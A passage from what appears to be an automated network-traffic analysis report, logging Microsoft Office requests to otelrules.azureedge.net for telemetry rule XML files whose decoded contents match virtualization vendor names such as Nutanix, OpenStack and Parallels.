22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49831	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230221Z-16547b76f7ffqpvqhC1DFWwf3n000000012g000000008mdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49832	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230221Z-r18f44ddb694v9hbhC1DFW4shn00000000h000000000d2e3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49833	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 305d852f-501e-00a0-13f0-399d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230221Z-17cf5b775c4dj7lnhC1DFWmqrg00000000fg000000005m2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49834	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230221Z-16547b76f7f64d6whC1DFWf9vn00000004xg00000000zpa3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49835	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: f18609ef-501e-008f-15e9-399054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230221Z-r18f44ddb69clgzfhC1DFWcnwc00000000m000000000eedf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49837	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-16547b76f7fwggrphC1DFW2a8s00000005d0000000005x3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:21 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-1866b5c5fbb2ngs6hC1DFW402w00000004rg00000000azcv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49838	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:22 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-1866b5c5fbbb9dv9hC1DFWps5c00000001pg0000000046g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49839	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:22 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-17cf5b775c4jp6njhC1DFW19kn00000000cg000000006hhu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49840	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:22 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-16547b76f7ftnm6xhC1DFW9c8c000000060g00000000qsqh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49841	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:22 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-16547b76f7fz92z5hC1DFWmdx800000004t0000000009w4n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:22 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230222Z-16547b76f7fht2hfhC1DFWbngg00000006y000000000343y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
